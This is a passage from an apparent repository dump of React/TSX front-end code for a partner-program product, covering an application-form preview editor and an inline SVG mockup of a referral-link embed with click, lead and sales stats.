`${PARTNERS_DOMAIN}/${program.slug}/${group.slug}/apply`;\n\n  return (\n    <>\n      {editingField && editingFieldMeta && (\n        <editingFieldMeta.modal\n          defaultValues={editingField}\n          showModal={true}\n          setShowModal={(show) => !show && setEditingFieldId(null)}\n          onSubmit={(field) => {\n            updateFields((fields) => {\n              fields[fields.findIndex((b) => b.id === editingFieldId)] = field;\n              return fields;\n            });\n            setTouchedFieldId(null);\n          }}\n        />\n      )}\n      <EditApplicationHeroModal />\n      <AddFieldModal\n        addIndex={addFieldIndex ?? 0}\n        showAddFieldModal={addFieldIndex !== null}\n        setShowAddFieldModal={(show) => {\n          if (!show) {\n            setAddFieldIndex(null);\n            setTouchedFieldId(null);\n          }\n        }}\n      />\n      <PreviewWindow\n        url={previewUrl}\n        scrollRef={scrollRef}\n        overlay={\n          <div\n            className={cn(\n              \"absolute inset-0 flex items-center justify-center bg-white/10\",\n              \"pointer-events-none opacity-0 transition-[backdrop-filter,opacity] duration-500\",\n            )}\n            inert\n          >\n            <div\n              className={cn(\n                \"flex translate-y-1 flex-col items-center gap-6 px-4 text-center text-sm transition-transform duration-500 sm:gap-2\",\n              )}\n            >\n              <div className=\"text-content-default flex items-center\">\n                <LoadingSpinner className=\"mr-2 size-3.5 shrink-0\" />\n                <span className=\"text-sm font-medium\">Generating content</span>\n                <span className=\"ml-px shrink-0\">\n                  {[...Array(3)].map((_, i) => (\n                    <span\n                      key={i}\n                      className=\"animate-ellipsis-wave inline-field\"\n                      style={{\n                        animationDelay: `${3 - i * -0.15}s`,\n                      }}\n                    >\n                      .\n                    </span>\n                  ))}\n                </span>\n              </div>\n\n              <div className=\"text-content-subtle flex flex-col items-center gap-1 sm:flex-row\">\n                <CircleInfo className=\"size-3 shrink-0\" />\n                <span className=\"text-xs font-medium\">\n                  Review all generated content for accuracy and style\n                </span>\n              </div>\n            </div>\n          </div>\n        }\n      >\n        <div className=\"relative z-0 mx-auto min-h-screen w-full bg-white\">\n          <div\n            style={\n              {\n                \"--brand\": brandColor || \"#000000\",\n                \"--brand-ring\": \"rgb(from var(--brand) r g b / 0.2)\",\n              } as CSSProperties\n            }\n          >\n            <header\n              className={\"sticky top-0 z-10 bg-white/90 backdrop-blur-sm\"}\n            >\n              <div className=\"mx-auto flex max-w-screen-sm items-center justify-between px-6 py-4\">\n                {/* Bottom border when scrolled */}\n                <div\n                  className={cn(\n                    \"absolute inset-x-0 bottom-0 h-px bg-neutral-200 opacity-0 transition-opacity duration-300 [mask-image:linear-gradient(90deg,transparent,black,transparent)]\",\n                    scrolled && \"opacity-100\",\n                  )}\n                />\n\n                <div className=\"animate-fade-in my-0.5 block\">\n                  {wordmark || logo ? (\n                    <img\n                      className=\"max-h-7 max-w-32\"\n                      src={(wordmark ?? logo) as string}\n                      alt={program.name ?? \"Program logo\"}\n                    />\n                  ) : (\n                    <Wordmark className=\"h-7\" />\n                  )}\n                </div>\n\n                <div className=\"flex items-center gap-2\" inert>\n                  <Button\n                    type=\"button\"\n                    variant=\"secondary\"\n                    text=\"Log in\"\n                    className=\"animate-fade-in h-8 w-fit text-neutral-600\"\n                  />\n                </div>\n              </div>\n            </header>\n\n            {/* Hero */}\n            <div\n              className=\"group relative mt-6\"\n              data-touched={touchedFieldId === \"hero\"}\n              onClick={() => isMobile && setTouchedFieldId(\"hero\")}\n            >\n              <EditIndicatorGrid />\n              <EditToolbar\n                onEdit={() => setShowEditApplicationHeroModal(true)}\n              />\n              <div className=\"relative mx-auto max-w-screen-sm\">\n                <div className=\"px-6\">\n                  <ApplicationFormHero\n                    program={program}\n                    applicationFormData={applicationFormData}\n                    preview\n                  />\n                </div>\n              </div>\n            </div>\n\n            {/* Program rewards */}\n            <div className=\"mx-auto mb-1 mt-6 max-w-screen-sm\">\n              <div className=\"px-6\">\n                <LanderRewards\n                  rewards={rewards}\n                  discount={discount}\n                  bounties={group.bounties}\n                />\n              </div>\n            </div>\n\n            {/* Required fields */}\n            <div className=\"relative mx-auto max-w-screen-sm py-6\">\n              <div className=\"px-6\">\n                <RequiredFieldsPreview />\n              </div>\n            </div>\n\n            {/* Content fields */}\n            <div className=\"relative z-0 my-6 grid grid-cols-1\">\n              {fields.map((field, idx) => {\n                return (\n                  <div\n                    key={field.id}\n                    className=\"group relative py-10\"\n                    data-touched={touchedFieldId === field.id}\n                    onClick={() => isMobile && setTouchedFieldId(field.id)}\n                  >\n                    <EditIndicatorGrid />\n\n                    {/* Edit toolbar */}\n                    <EditToolbar\n                      onEdit={() => setEditingFieldId(field.id)}\n                      onMoveUp={\n                        idx !== 0\n                          ? () =>\n                              updateFields((fields) =>\n                                moveItem(fields, idx, idx - 1),\n                              )\n                          : undefined\n                      }\n                      onMoveDown={\n                        idx !== fields.length - 1\n                          ? () =>\n                              updateFields((fields) =>\n                                moveItem(fields, idx, idx + 1),\n                              )\n                          : undefined\n                      }\n                      onDelete={() =>\n                        updateFields((fields) => fields.toSpliced(idx, 1))\n                      }\n                    />\n\n                    {/* Insert field button */}\n                    <div\n                      className={cn(\n                        \"pointer-events-none absolute inset-0 opacity-0\",\n                        \"transition-opacity duration-150 group-hover:opacity-100 sm:group-has-[+div:hover]:opacity-100\",\n                        \"group-has-[+div[data-[touched=true]]]:opacity-100 group-data-[touched=true]:opacity-100\",\n                      )}\n                    >\n                      <div className=\"group-first:field absolute inset-x-0 top-0 z-10 hidden\">\n                        <div className=\"pointer-events-auto absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2\">\n                          <AddFieldButton\n                            onClick={() => setAddFieldIndex(idx)}\n                          />\n                        </div>\n                      </div>\n                      <div className=\"absolute inset-x-0 bottom-0 z-10\">\n                        <div className=\"pointer-events-auto absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2\">\n                          <AddFieldButton\n                            onClick={() => setAddFieldIndex(idx + 1)}\n                          />\n                        </div>\n                      </div>\n                    </div>\n\n                    <div className=\"relative mx-auto max-w-screen-sm\" inert>\n                      <div className=\"px-6\">\n                        <ProgramApplicationFormField field={field} preview />\n                      </div>\n                    </div>\n                  </div>\n                );\n              })}\n\n              {fields.length === 0 && (\n                <div className=\"group/empty relative py-10\">\n                  <div className=\"border-subtle pointer-events-none absolute inset-y-0 left-1/2 w-[1080px] max-w-[calc(100cqw-32px)] -translate-x-1/2 overflow-hidden rounded-xl border opacity-40 transition-opacity duration-300 ease-out group-hover/empty:opacity-100\">\n                    <Grid\n                      cellSize={60}\n                      className=\"text-border-subtle inset-[unset] left-1/2 top-1/2 h-[max(1200px,100%)] w-[1200px] -translate-x-1/2 -translate-y-1/2\"\n                    />\n                  </div>\n                  <div className=\"relative flex justify-center\">\n                    <AddFieldButton onClick={() => setAddFieldIndex(0)} />\n                  </div>\n                </div>\n              )}\n            </div>\n\n            {/* Program terms agreement */}\n            <div className=\"relative mx-auto max-w-screen-sm py-6\">\n              <div className=\"px-6\">\n                <ProgramTermsPreview />\n              </div>\n            </div>\n\n            {/* Buttons */}\n            <div className=\"mx-auto mb-6 max-w-screen-sm\">\n              <div className=\"px-6\">\n                <div\n                  className=\"animate-scale-in-fade mt-6 flex flex-col gap-2 [animation-delay:400ms] [animation-fill-mode:both]\"\n                  inert\n                >\n                  <Button\n                    type=\"button\"\n                    text=\"Submit application\"\n                    className=\"border-[var(--brand)] bg-[var(--brand)] hover:bg-[var(--brand)] hover:ring-[var(--brand-ring)]\"\n                  />\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n      </PreviewWindow>\n    </>\n  );\n}\n\nfunction AddFieldButton({ onClick }: { onClick: () => void }) {\n  return (\n    <Button\n      type=\"button\"\n      text=\"Insert field\"\n      onClick={onClick}\n      icon={<Plus2 className=\"size-2.5\" />}\n      variant=\"secondary\"\n      className=\"h-6 w-fit gap-1 px-2.5 text-xs\"\n    />\n  );\n}\n\nfunction EditIndicatorGrid() {\n  return (\n    <div\n      className={cn(\n        \"border-subtle pointer-events-none absolute inset-y-0 left-1/2 w-[1080px] max-w-[calc(100cqw-32px)] -translate-x-1/2 overflow-hidden rounded-xl border\",\n        \"opacity-0 transition-opacity duration-150 group-hover:opacity-100 group-data-[touched=true]:opacity-100\",\n      )}\n    >\n      <Grid\n        cellSize={60}\n        className=\"text-border-subtle inset-[unset] left-1/2 top-1/2 h-[max(1200px,100%)] w-[1200px] -translate-x-1/2 -translate-y-1/2\"\n      />\n    </div>\n  );\n}\n\nfunction EditToolbar({\n  onEdit,\n  onMoveUp,\n  onMoveDown,\n  onDelete,\n}: {\n  onEdit?: () => void;\n  onMoveUp?: () => void;\n  onMoveDown?: () => void;\n  onDelete?: () => void;\n}) {\n  return (\n    <div\n      className={cn(\n        \"pointer-events-none absolute inset-0 z-[5] opacity-0 transition-opacity duration-150\",\n        \"group-hover:pointer-events-auto group-hover:opacity-100\",\n        \"group-data-[touched=true]:pointer-events-auto group-data-[touched=true]:opacity-100\",\n      )}\n    >\n      <div className=\"absolute right-6 top-2\">\n        <div className=\"flex items-center rounded-md border border-neutral-200 bg-white p-1 shadow-sm\">\n          {onEdit && (\n            <EditToolbarTooltip content=\"Edit\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<Pen2 className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onEdit}\n              />\n            </EditToolbarTooltip>\n          )}\n          {onMoveUp && (\n            <EditToolbarTooltip content=\"Move up\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<ArrowUp className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onMoveUp}\n              />\n            </EditToolbarTooltip>\n          )}\n          {onMoveDown && (\n            <EditToolbarTooltip content=\"Move down\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<ArrowDown className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onMoveDown}\n              />\n            </EditToolbarTooltip>\n          )}\n          {onDelete && (\n            <EditToolbarTooltip content=\"Delete\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<Trash className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onDelete}\n              />\n            </EditToolbarTooltip>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction EditToolbarTooltip({\n  content,\n  children,\n}: PropsWithChildren<{ content: string }>) {\n  return (\n    <Tooltip\n      content={\n        <div className=\"px-2 py-1 text-xs text-neutral-600\">{content}</div>\n      }\n      disableHoverableContent\n    >\n      <div>{children}</div>\n    </Tooltip>\n  );\n}\n\nconst moveItem = <T extends any>(array: T[], from: number, to: number) => {\n  const newArray = array.slice();\n  newArray.splice(to, 0, newArray.splice(from, 1)[0]);\n  return newArray;\n};\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/previews/embed-preview.tsx",
    "content": "\"use client\";\n\nimport { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { GroupWithProgramProps } from \"@/lib/types\";\nimport { getPrettyUrl, OG_AVATAR_URL } from \"@dub/utils\";\nimport { CSSProperties, useId } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { useBrandingFormContext } from \"../branding-form\";\nimport { PreviewWindow } from \"../preview-window\";\nimport { StudsPattern } from \"../studs-pattern\";\n\nexport function EmbedPreview({ group }: { group: GroupWithProgramProps }) {\n  const program = group.program;\n\n  const id = useId();\n\n  const { getValues } = useBrandingFormContext();\n  const { brandColor, logo } = {\n    ...useWatch(),\n    ...getValues(),\n  };\n\n  const partnerLink = getPrettyUrl(\n    constructPartnerLink({\n      group,\n      link: {\n        key: \"partner\",\n        url: program.url ?? \"\",\n        shortLink: `https://${program.domain}/partner`,\n      },\n    }),\n  );\n\n  return (\n    <div className=\"scrollbar-hide @container -mx-2 h-full w-auto overflow-y-auto px-2 pb-4\">\n      <PreviewWindow\n        url={program.url!}\n        showViewButton={false}\n        className=\"h-auto rounded-b-xl bg-neutral-100\"\n        contentClassName=\"overflow-y-hidden\"\n      >\n        <div className=\"@[800px]:p-16 @[800px]:gap-12 grid grid-cols-[minmax(0,1fr)_minmax(0,5fr)] gap-8 p-8\">\n          <div>\n            <img\n              className=\"@[800px]:size-11 size-6\"\n              src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n            />\n            <div className=\"@[800px]:mt-6 @[800px]:gap-4 mt-4 flex flex-col gap-2\">\n              {[100, 90, 70, 80, 65].map((p, idx) => (\n                <div\n                  key={idx}\n                  className=\"h-4 rounded bg-neutral-200\"\n                  style={{ width: `${p}%` }}\n                />\n              ))}\n            </div>\n          </div>\n          <div\n            className=\"relative z-0 mx-auto w-full select-none text-[var(--brand)]\"\n            style={\n              {\n                \"--brand\": brandColor || \"#000000\",\n              } as CSSProperties\n            }\n            role=\"presentation\"\n          >\n            <div className=\"relative rounded-xl bg-neutral-100\">\n              <StudsPattern />\n              {/* Inner shadow on top of studs */}\n              <div className=\"absolute inset-0 overflow-hidden rounded-xl shadow-[0_12px_20px_0_#00000026_inset,0_2px_5px_0_#00000026_inset,0_2px_13px_2px_#FFFFFF59]\" />\n\n              <div className=\"@[800px]:-translate-y-10 @[800px]:translate-x-10 [@media(min-resolution:2dppx)]:@[800px]:rotate-[2.4deg] relative overflow-hidden rounded-xl border border-black/10 bg-white drop-shadow-lg\">\n                <svg\n                  xmlns=\"http://www.w3.org/2000/svg\"\n                  xmlnsXlink=\"http://www.w3.org/1999/xlink\"\n                  fill=\"none\"\n                  viewBox=\"0 0 1031 898\"\n                  className=\"h-auto w-full [&_*]:tracking-[-0.035em]\"\n                >\n                  <defs>\n                    <path id={`${id}-N`} fill=\"#fff\" d=\"M0 0h16v16H0z\" />\n                  </defs>\n                  <path fill=\"#fff\" d=\"M.5.5h1030v897H.5z\" />\n                  <g clipPath={`url(#${id}-a)`}>\n                    {/* Hero background */}\n                    <rect\n                      width=\"983\"\n                      height=\"258\"\n                      x=\"24\"\n                      y=\"24\"\n                      fill=\"#FAFAFA\"\n                      rx=\"8\"\n                    />\n                    {/* Grid */}\n                    <rect\n                      xmlns=\"http://www.w3.org/2000/svg\"\n                      width=\"983\"\n                      height=\"258\"\n                      x=\"24\"\n                      y=\"24\"\n                      opacity=\"0.5\"\n                      fill={`url(#${id}-grid)`}\n                    />\n                    {/* Grid gradient cover */}\n                    <path fill={`url(#${id}-aq)`} d=\"M24 24h983v258H24z\" />\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#262626\"\n                      fontSize=\"16\"\n                      fontWeight=\"600\"\n                      letterSpacing=\"-.02em\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"48\" y=\"65.818\">\n                        Referral link\n                      </tspan>\n                    </text>\n                    <rect\n                      width=\"283\"\n                      height=\"39\"\n                      x=\"48.5\"\n                      y=\"84.5\"\n                      fill=\"#fff\"\n                      rx=\"5.5\"\n                    />\n                    <rect\n                      width=\"283\"\n                      height=\"39\"\n                      x=\"48.5\"\n                      y=\"84.5\"\n                      stroke=\"#D4D4D4\"\n                      rx=\"5.5\"\n                    />\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#262626\"\n                      fontSize=\"14\"\n                      fontWeight=\"500\"\n                      letterSpacing=\"0em\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"60\" y=\"109.091\">\n                        {partnerLink}\n                      </tspan>\n                    </text>\n                    <path\n                      fill=\"#171717\"\n                      d=\"M344 90a6 6 0 0 1 6-6h108a6 6 0 0 1 6 6v28a6 6 0 0 1-6 6H350a6 6 0 0 1-6-6z\"\n                    />\n                    <path\n                      stroke=\"#fff\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                      strokeWidth=\"1.5\"\n                      d=\"M364.222 106.889h-.889a1.777 1.777 0 0 1-1.777-1.778v-4.889c0-.982.795-1.777 1.777-1.777H370c.982 0 1.778.795 1.778 1.777v.889m.889 8.445H366a1.78 1.78 0 0 1-1.778-1.778v-4.889c0-.982.796-1.778 1.778-1.778h6.667c.981 0 1.777.796 1.777 1.778v4.889c0 .982-.796 1.778-1.777 1.778\"\n                    />\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#fff\"\n                      fontSize=\"14\"\n                      fontWeight=\"500\"\n                      letterSpacing=\"-.02em\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"384.482\" y=\"109.091\">\n                        Copy link\n                      </tspan>\n                    </text>\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#262626\"\n                      fontSize=\"16\"\n                      fontWeight=\"600\"\n                      letterSpacing=\"-.02em\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"48\" y=\"189.818\">\n                        Rewards\n                      </tspan>\n                    </text>\n                    <path\n                      fill=\"#fff\"\n                      d=\"M54 208.5h404a5.5 5.5 0 0 1 5.5 5.5v38a5.5 5.5 0 0 1-5.5 5.5H54a5.5 5.5 0 0 1-5.5-5.5v-38a5.5 5.5 0 0 1 5.5-5.5\"\n                    />\n                    <path\n                      stroke=\"#E5E5E5\"\n                      d=\"M54 208.5h404a5.5 5.5 0 0 1 5.5 5.5v38a5.5 5.5 0 0 1-5.5 5.5H54a5.5 5.5 0 0 1-5.5-5.5v-38a5.5 5.5 0 0 1 5.5-5.5Z\"\n                    />\n                    <text\n                      xmlSpace=\"preserve\"\n                      fill=\"#999\"\n                      fontSize=\"16\"\n                      fontWeight=\"600\"\n                      letterSpacing=\"-.02em\"\n                      style={{ whiteSpace: \"pre\" }}\n                    >\n                      <tspan x=\"62\" y=\"234\">\n                        ...\n                      </tspan>\n                    </text>\n                    <g filter={`url(#${id}-b)`}>\n                      <rect\n                        width=\"108.522\"\n                        height=\"21\"\n                        x=\"882.885\"\n                        y=\"245\"\n                        fill=\"#fff\"\n                        rx=\"6\"\n                      />\n                      <text\n                        xmlSpace=\"preserve\"\n                        fill=\"#737373\"\n                        fontSize=\"11.54\"\n                        fontWeight=\"500\"\n                        letterSpacing=\"0em\"\n                        style={{ whiteSpace: \"pre\" }}\n                      >\n                        <tspan x=\"890.901\" y=\"259.696\">\n                          Powered by\n                        </tspan>\n                      </text>\n                      <path\n                        fill=\"#171717\"\n                        fillRule=\"evenodd\"\n                        d=\"M964.749 250.091h1.599v10.277h-1.599v-.678a3.68 3.68 0 0 1-2.132.678c-2.061 0-3.732-1.695-3.732-3.786s1.671-3.787 3.732-3.787c.792 0 1.527.251 2.132.679zm-2.133 8.655c1.178 0 2.133-.969 2.133-2.164s-.955-2.164-2.133-2.164-2.132.969-2.132 2.164.955 2.164 2.132 2.164m13.328-8.655h1.599v3.383a3.7 3.7 0 0 1 2.133-.679c2.061 0 3.731 1.696 3.731 3.787s-1.67 3.786-3.731 3.786-3.732-1.695-3.732-3.786zm3.731 8.655c1.178 0 2.133-.969 2.133-2.164s-.955-2.164-2.133-2.164-2.132.969-2.132 2.164.955 2.164 2.132 2.164\"\n                        clipRule=\"evenodd\"\n                      />\n                      <path\n                        fill=\"#171717\"\n                        d=\"M969.014 252.795h-1.6v3.787a3.803 3.803 0 0 0 1.093 2.677 3.69 3.69 0 0 0 5.278 0 3.8 3.8 0 0 0 1.093-2.677v-3.787h-1.6v3.787a2.18 2.18 0 0 1-.624 1.53c-.4.406-.943.634-1.508.634a2.12 2.12 0 0 1-1.508-.634 2.18 2.18 0 0 1-.624-1.53z\"\n                      />\n                    </g>\n                    <mask\n                      id={`${id}-d`}\n                      width=\"319\"\n                      height=\"319\"\n                      x=\"685\"\n                      y=\"-6\"\n                      maskUnits=\"userSpaceOnUse\"\n                      style={{ maskType: \"alpha\" }}\n                    >\n                      <circle\n                        cx=\"844.5\"\n                        cy=\"153.5\"\n                        r=\"159.5\"\n                        fill={`url(#${id}-c)`}\n                      />\n                    </mask>\n                    <g mask={`url(#${id}-d)`}>\n                      <g filter={`url(#${id}-e)`}>\n                        <rect\n                          width=\"40\"\n                          height=\"40\"\n                          x=\"705\"\n                          y=\"53\"\n                          fill={`url(#${id}-f)`}\n                          rx=\"8\"\n                        />\n                        <rect\n                          width=\"40\"\n                          height=\"40\"\n                          x=\"705\"\n                          y=\"53\"\n                          stroke=\"#000\"\n                          strokeOpacity=\"0.06\"\n                          strokeWidth=\"0.75\"\n                          rx=\"8\"\n                        />\n                        <g\n                          stroke=\"#737373\"\n                          strokeLinecap=\"round\"\n                          strokeLinejoin=\"round\"\n                          strokeWidth=\"1.5\"\n                          opacity=\"0.2\"\n                        >\n                          <path d=\"M725 75.222a2.222 2.222 0 1 0 0-4.444 2.222 2.222 0 0 0 0 4.444\" />\n                          <path d=\"M716.944 78.278V67.722c2.663 1.194 5.076 1.357 8.056 0s5.393-1.389 8.056 0v10.556c-2.663-1.39-5.076-1.357-8.056 0s-5.393 1.193-8.056 0\" />\n                        </g>\n                      </g>\n                      <g filter={`url(#${id}-g)`}>\n                        <rect\n                          width=\"40\"\n                          height=\"40\"\n                          x=\"945\"\n                          y=\"213\"\n                          fill={`url(#${id}-h)`}\n                          rx=\"8\"\n                        />\n                        <rect\n                          width=\"40\"\n                          height=\"40\"\n                          x=\"945\"\n                          y=\"213\"\n                          stroke=\"#000\"\n                          strokeOpacity=\"0.06\"\n                          strokeWidth=\"0.75\"\n                          rx=\"8\"\n                        />\n                        <g\n                          stroke=\"#737373\"\n                          strokeLinecap=\"round\"\n                          strokeLinejoin=\"round\"\n                          strokeWidth=\"1.5\"\n                          opacity=\"0.2\"\n                        >\n                          <path d=\"M965 233.917a2.445 2.445 0 1 0-.001-4.89 2.445 2.445 0 0 0 .001 4.89m-4.735 6.722a4.89 4.89 0 0 1 4.735-3.667 4.89 4.89 0 0 1 4.735 3.667\" />\n                          <path d=\"M972.639 232.389v5.805a2.444 2.444 0 0 1-2.445 2.445h-10.388a2.444 2.444 0 0 1-2.445-2.445v-10.388a2.444 2.444 0 0 1 2.445-2.445h5.805m6.417-2.444v6.111m3.055-3.056h-6.111\" />\n                        </g>\n                      </g>\n                      <g filter={`url(#${id}-i)`}>\n                        <path\n                          fill={`url(#${id}-j)`}\n                          d=\"M767 89c0-8.837 7.163-16 16-16h128c8.837 0 16 7.163 16 16v128c0 8.837-7.163 16-16 16H783c-8.837 0-16-7.163-16-16z\"\n                        />\n                      </g>\n                      <path\n                        stroke=\"#000\"\n                        strokeOpacity=\"0.06\"\n                        strokeWidth=\"0.75\"\n                        d=\"M767 89c0-8.837 7.163-16 16-16h128c8.837 0 16 7.163 16 16v128c0 8.837-7.163 16-16 16H783c-8.837 0-16-7.163-16-16z\"\n                      />\n                      <g filter={`url(#${id}-k)`}>\n                        {/* Big logo */}\n                        <image\n                          width=\"80\"\n                          height=\"80\"\n                          x=\"807\"\n                          y=\"113\"\n                          href={logo || `${OG_AVATAR_URL}${program.name}`}\n                          clipPath=\"inset(0% round 80px)\"\n                        />\n                      </g>\n                    </g>\n                    <g\n                      filter={`url(#${id}-n)`}\n                      opacity=\"0.5\"\n                      style={{ mixBlendMode: \"soft-light\" }}\n                    >\n                      {brandColor && (\n                        <ellipse\n                          cx=\"847\"\n                          cy=\"153\"\n                          fill=\"currentColor\"\n                          rx=\"293.5\"\n                          ry=\"310\"\n                        />\n                      )}\n                    </g>\n                    <g filter={`url(#${id}-o)`} opacity=\"0.15\">\n                      {brandColor ? (\n                        <ellipse\n                          cx=\"847\"\n                          cy=\"153\"\n                          fill=\"currentColor\"\n                          opacity=\"0.7\"\n                          rx=\"293.5\"\n                          ry=\"234.602\"\n                        />\n                      ) : (\n                        <foreignObject width=\"400\" height=\"400\" x=\"647\" y=\"-47\">\n                          <div\n                            className=\"size-full rounded-full saturate-150\"\n                            style={{\n                              background:\n                                \"conic-gradient(from -66deg at 50% 50%, #855afc -32deg, red 63deg, #eab308 158deg, #5cff80 240deg, #855afc 328deg, red 423deg)\",\n                            }}\n                          ></div>\n                        </foreignObject>\n                      )}\n                    </g>\n                  </g>\n                  <rect\n                    width=\"982\"\n                    height=\"257\"\n                    x=\"24.5\"\n                    y=\"24.5\"\n                    stroke=\"#E5E5E5\"\n                    rx=\"7.5\"\n                  />\n                  <rect\n                    width=\"666\"\n                    height=\"111\"\n                    x=\"24.5\"\n                    y=\"298.5\"\n                    fill=\"#fff\"\n                    rx=\"7.5\"\n                  />\n                  <rect\n                    width=\"666\"\n                    height=\"111\"\n                    x=\"24.5\"\n                    y=\"298.5\"\n                    stroke=\"#E5E5E5\"\n                    rx=\"7.5\"\n                  />\n                  <mask id={`${id}-p`} fill=\"#fff\">\n                    <path d=\"M24 298h222.333v112H24z\" />\n                  </mask>\n                  <path\n                    fill=\"#E5E5E5\"\n                    d=\"M246.333 298h-1v112h2V298z\"\n                    mask={`url(#${id}-p)`}\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"13\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"40\" y=\"325.727\">\n                      Clicks\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#404040\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"40\" y=\"344.591\">\n                      123\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-r`}\n                    width=\"191\"\n                    height=\"52\"\n                    x=\"40\"\n                    y=\"348\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-q)`}\n                      d=\"M0 0h190.333v52H0z\"\n                      transform=\"translate(40 348)\"\n                    />\n                  </mask>\n                  <g mask={`url(#${id}-r)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"M206.625 359.026 182.75 376.5l-23.875-6.026L135 375.295l-23.875-1.205-23.875-6.628-23.875 12.051-23.875 4.82V400h191v-47z\"\n                      opacity=\"0.15\"\n                    />\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"m40 384.729 23.7-6.06a1 1 0 0 0 .178-.064l23.37-11.009c.216-.102.462-.123.693-.059l23.324 6.484a1 1 0 0 0 .225.036l23.57 1.011q.107.005.212-.013l23.496-4.033q.19-.032.379.008l23.174 4.972c.274.058.559 0 .787-.161l23.283-16.443q.151-.106.329-.152l23.613-6.058\"\n                  />\n                  <mask id={`${id}-s`} fill=\"#fff\">\n                    <path d=\"M246.333 298h222.334v112H246.333z\" />\n                  </mask>\n                  <path\n                    fill=\"#E5E5E5\"\n                    d=\"M468.667 298h-1v112h2V298z\"\n                    mask={`url(#${id}-s)`}\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"13\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"262.333\" y=\"325.727\">\n                      Leads\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#404040\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"262.333\" y=\"344.591\">\n                      23\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-u`}\n                    width=\"191\"\n                    height=\"52\"\n                    x=\"262\"\n                    y=\"348\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-t)`}\n                      d=\"M0 0h190.333v52H0z\"\n                      transform=\"translate(262.333 348)\"\n                    />\n                  </mask>\n                  <g mask={`url(#${id}-u)`}>\n                    <path\n                      fill={\n                        brandColor\n                          ? \"currentColor\"\n                          : `url(#${id}-color-gradient)`\n                      }\n                      d=\"M428.958 359.026 405.083 376.5l-23.875-6.026-23.875 4.821-23.875-1.205-23.875-6.628-23.875 12.051-23.875 4.82V400h191v-47z\"\n                      opacity=\"0.15\"\n                    />\n                  </g>\n                  <path\n                    stroke={\n                      brandColor ? \"currentColor\" : `url(#${id}-color-gradient)`\n                    }\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"m262.333 384.729 23.7-6.06a1 1 0 0 0 .178-.064l23.37-11.009c.216-.102.463-.123.694-.059l23.323 6.484a1 1 0 0 0 .225.036l23.57 1.011q.107.005.212-.013l23.496-4.033q.191-.032.379.008l23.175 4.972c.273.058.558 0 .786-.161l23.284-16.443a1 1 0 0 1 .328-.152l23.614-6.058\"\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontSize=\"13\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"484.667\" y=\"325.727\">\n                      Sales\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#404040\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"484.667\" y=\"344.591\">\n                      2\n                    </tspan>\n                  </text>\n                  <mask\n                    id={`${id}-w`}\n                    width=\"191\"\n                    height=\"52\"\n                    x=\"484\"\n                    y=\"348\"\n                    maskUnits=\"userSpaceOnUse\"\n                    style={{ maskType: \"alpha\" }}\n                  >\n                    <path\n                      fill={`url(#${id}-v)`}\n                      